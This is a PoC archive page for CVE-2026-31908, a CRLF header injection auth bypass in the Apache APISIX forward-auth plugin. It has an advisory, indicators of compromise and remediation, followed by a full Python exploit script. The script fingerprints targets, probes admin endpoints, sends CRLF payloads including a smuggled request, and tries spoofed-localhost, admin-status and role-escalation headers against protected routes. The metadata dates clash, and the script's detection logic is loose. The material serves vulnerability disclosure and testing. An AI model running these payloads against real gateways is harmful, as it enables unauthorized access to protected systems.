PoC Archive PoC Archive
Critical CVE-2026-31908 patched

Apache APISIX forward-auth CRLF Header Injection — CVE-2026-31908

by MehranTurk (M.T) · 2026-07-05

CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-31908
Category
web
Affected product
Apache APISIX
Affected versions
2.12.0 through 3.15.0 (fixed in 3.16.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherMehranTurk (M.T)
CVE / AdvisoryCVE-2026-31908
Categoryweb
SeverityCritical
CVSS Score10.0 / 10
StatusPoC
Tagsapisix, crlf-injection, header-injection, authentication-bypass, forward-auth, api-gateway, reverse-proxy
RelatedN/A

Affected Target

FieldValue
Software / SystemApache APISIX
Versions Affected2.12.0 through 3.15.0 (fixed in 3.16.0)
Language / PlatformPython 3 PoC script targeting a Java/Lua-based API gateway (Apache APISIX)
Authentication RequiredNo
Network Access RequiredYes

Summary

Apache APISIX’s forward-auth plugin fails to sanitize CRLF (\r\n) sequences in inbound request headers before forwarding an authentication check upstream. By injecting CRLF sequences into headers such as Authorization, X-Forwarded-For, or Host, an unauthenticated attacker can smuggle extra headers into the forwarded auth request. The PoC script probes a target for APISIX fingerprints and admin API endpoints, sends a battery of CRLF-laden payloads against a protected path, and then attempts several header-smuggling combinations (localhost bypass, admin-status injection, role/privilege escalation) to see if any results in a 200 response on a normally-gated resource.


Vulnerability Details

Root Cause

The forward-auth plugin passes attacker-controlled header values into an internal auth-check request without stripping CRLF sequences (CWE-75), allowing injection of additional HTTP headers or, in the worst case, an entirely new smuggled request.

Attack Vector

  1. Attacker identifies an APISIX instance (Server header or exposed /apisix/admin/* endpoints).
  2. Attacker sends a request to a protected path with a header value containing embedded \r\n sequences (e.g. Authorization: test\r\nX-Forwarded-For: 127.0.0.1).
  3. The injected header/value is forwarded to (or interpreted by) the auth check, causing it to see attacker-controlled fields such as X-Admin: true, X-Auth-Status: Success, or a spoofed source IP.
  4. If the auth logic trusts these forwarded/smuggled headers, the request is treated as authenticated/privileged and the protected resource is returned with HTTP 200.

Impact

Unauthenticated bypass of the forward-auth access-control layer, potentially leading to privilege escalation and unauthorized access to internal/protected APISIX routes.


Environment / Lab Setup

Target:   Apache APISIX 2.12.0 - 3.15.0 with forward-auth plugin enabled, fronting a protected route
Attacker: Python 3.6+, `requests` library (see requirements.txt)

Proof of Concept

PoC Script

See CVE-2026-31908.py in this folder.

1
2
pip install -r requirements.txt
python3 CVE-2026-31908.py -t http://192.168.1.100:9080 -p /protected

The script fingerprints the target as APISIX, probes admin endpoints, sends CRLF-injection payloads to detect anomalous responses, and finally attempts several header-smuggling auth-bypass payloads against the given protected path, reporting success if a 200 response is returned.


Detection & Indicators of Compromise

"GET /protected HTTP/1.1" ... Authorization: test%0d%0aX-Injected: malicious

Signs of compromise:

  • Unexpected 500/502/400 responses from forward-auth-protected routes correlating with unusual Authorization, X-Forwarded-For, or Host header values containing CR/LF sequences.
  • Successful 200 responses on protected paths from source IPs that never completed a legitimate auth flow.
  • Duplicate or unexpected headers (e.g. X-Admin, X-Auth-Status) appearing in upstream request logs that were not set by the gateway itself.

Remediation

ActionDetail
Primary fixUpgrade to Apache APISIX 3.16.0 or later
Interim mitigationStrip/reject CR/LF characters in all inbound headers at the edge (WAF/reverse proxy) before they reach the forward-auth plugin; disable forward-auth until patched.

References


Notes

Mirrored from https://github.com/MehranTurk/CVE-2026-31908 on 2026-07-05.

CVE-2026-31908.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/env python3
"""
Apache Header Injection Exploit (CVE-2026-31908) - Proof of Concept
Educational Purpose Only - Use in Isolated Lab Environment
MehranTurk (M.T)
"""

import requests
import sys
import argparse
from urllib.parse import urljoin
import time

class Colors:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

def print_banner():
    banner = f"""
{Colors.RED}
╔═══════════════════════════════════════════════════════════════╗
║     Apache Header Injection Exploit (CVE-2026-31908)          ║
║           Proof of Concept - MehranTurk (M.T)                 ║
╚═══════════════════════════════════════════════════════════════╝
{Colors.RESET}
    """
    print(banner)

def check_vulnerability(target_url, timeout=5):
   
    print(f"{Colors.BLUE}[*] Scanning target: {target_url}{Colors.RESET}")
    
    try:
        response = requests.get(target_url, timeout=timeout)
        server_header = response.headers.get('Server', '')
        if 'APISIX' in server_header:
            print(f"{Colors.GREEN}[+] APISIX detected!{Colors.RESET}")
            print(f"    Server header: {server_header}")
        else:
            print(f"{Colors.YELLOW}[!] Server header not found or not APISIX{Colors.RESET}")
    except Exception as e:
        print(f"{Colors.RED}[-] Connection failed: {e}{Colors.RESET}")
        return False
    
    admin_endpoints = [
        '/apisix/admin/routes',
        '/apisix/admin/services',
        '/apisix/admin/upstreams'
    ]
    
    for endpoint in admin_endpoints:
        try:
            resp = requests.get(urljoin(target_url, endpoint), timeout=timeout)
            if resp.status_code in [401, 403]:
                print(f"{Colors.GREEN}[+] Admin API detected at {endpoint} (Auth required){Colors.RESET}")
                break
        except:
            pass
    
    return True

def test_header_injection(target_url, protected_path="/protected", timeout=5):

    print(f"\n{Colors.BLUE}[*] Testing header injection vulnerability...{Colors.RESET}")
    
    payloads = [
        {
            "name": "CRLF Injection in Authorization",
            "headers": {
                "Authorization": "test\r\nX-Injected: malicious",
                "User-Agent": "APISIX-Exploit"
            }
        },
        {
            "name": "CRLF Injection in X-Forwarded-For",
            "headers": {
                "X-Forwarded-For": "127.0.0.1\r\nX-Injected: true",
                "User-Agent": "APISIX-Exploit"
            }
        },
        {
            "name": "CRLF Injection in Host",
            "headers": {
                "Host": "evil.com\r\nX-Injected: header",
                "User-Agent": "APISIX-Exploit"
            }
        },
        {
            "name": "Multiple CRLF Injection",
            "headers": {
                "Authorization": "test\r\n\r\nGET /admin HTTP/1.1\r\nHost: evil.com",
                "User-Agent": "APISIX-Exploit"
            }
        }
    ]
    
    vulnerable = False
    
    for payload in payloads:
        full_url = urljoin(target_url, protected_path)
        try:
            response = requests.get(full_url, headers=payload["headers"], timeout=timeout)
            
            if response.status_code in [500, 502, 400]:
                print(f"{Colors.YELLOW}[!] Unusual response {response.status_code} with payload: {payload['name']}{Colors.RESET}")
                vulnerable = True
            else:
                print(f"{Colors.GREEN}[+] Payload '{payload['name']}' sent (response: {response.status_code}){Colors.RESET}")
        except Exception as e:
            print(f"{Colors.RED}[-] Error with payload '{payload['name']}': {e}{Colors.RESET}")
    
    return vulnerable

def exploit_bypass_auth(target_url, protected_path="/protected", timeout=5):
   
    print(f"\n{Colors.BLUE}[*] Attempting authentication bypass...{Colors.RESET}")
    
    exploit_payloads = [
        {
            "name": "Localhost Bypass",
            "headers": {
                "Authorization": "test\r\nX-Forwarded-For: 127.0.0.1",
                "X-Real-IP": "127.0.0.1"
            }
        },
        {
            "name": "Admin Status Injection",
            "headers": {
                "Authorization": "test\r\nX-Auth-Status: Success",
                "X-Admin": "true"
            }
        },
        {
            "name": "Role Privilege Escalation",
            "headers": {
                "Authorization": "test\r\nX-User-Role: admin",
                "X-Privilege": "superuser"
            }
        },
        {
            "name": "Internal Service Access",
            "headers": {
                "Authorization": "test\r\nX-Internal-Request: true",
                "X-Service-Auth": "bypass"
            }
        }
    ]
    
    success = False
    
    for exploit in exploit_payloads:
        full_url = urljoin(target_url, protected_path)
        try:
            response = requests.get(full_url, headers=exploit["headers"], timeout=timeout)
            
            if response.status_code == 200:
                print(f"{Colors.GREEN}[!!!] SUCCESS! Authentication bypassed with: {exploit['name']}{Colors.RESET}")
                print(f"{Colors.GREEN}[+] Response length: {len(response.text)} bytes{Colors.RESET}")
                
                if len(response.text) > 0:
                    print(f"\n{Colors.YELLOW}--- Response Preview ---{Colors.RESET}")
                    print(response.text[:500])
                    print(f"{Colors.YELLOW}------------------------{Colors.RESET}")
                
                success = True
                break
            elif response.status_code == 403:
                print(f"{Colors.YELLOW}[!] Access denied for {exploit['name']} (403){Colors.RESET}")
            else:
                print(f"{Colors.BLUE}[i] Response {response.status_code} for {exploit['name']}{Colors.RESET}")
                
        except Exception as e:
            print(f"{Colors.RED}[-] Exploit error: {e}{Colors.RESET}")
    
    return success

def main():
    parser = argparse.ArgumentParser(description='Apache APISIX Header Injection Exploit (CVE-2026-31908)')
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://192.168.1.100:9080)')
    parser.add_argument('-p', '--path', default='/protected', help='Protected path to test (default: /protected)')
    parser.add_argument('--timeout', default=5, type=int, help='Request timeout in seconds')
    
    args = parser.parse_args()
    
    print_banner()
    
    target = args.target.rstrip('/')
    
    if not check_vulnerability(target, args.timeout):
        print(f"{Colors.RED}[-] Target does not appear to be APISIX or is unreachable{Colors.RESET}")
        sys.exit(1)
    
    if test_header_injection(target, args.path, args.timeout):
        print(f"{Colors.GREEN}[+] Target appears VULNERABLE to header injection!{Colors.RESET}")
    else:
        print(f"{Colors.YELLOW}[!] No obvious injection signs detected{Colors.RESET}")
    
    if exploit_bypass_auth(target, args.path, args.timeout):
        print(f"\n{Colors.GREEN}{'='*60}{Colors.RESET}")
        print(f"{Colors.GREEN}[✓] EXPLOITATION SUCCESSFUL! Access granted to protected resource.{Colors.RESET}")
        print(f"{Colors.GREEN}{'='*60}{Colors.RESET}")
    else:
        print(f"\n{Colors.RED}[✗] Exploitation failed. Target may be patched or requires different payloads.{Colors.RESET}")
        print(f"{Colors.YELLOW}[!] Try adjusting the protected path or testing different endpoints.{Colors.RESET}")

if __name__ == "__main__":
    main()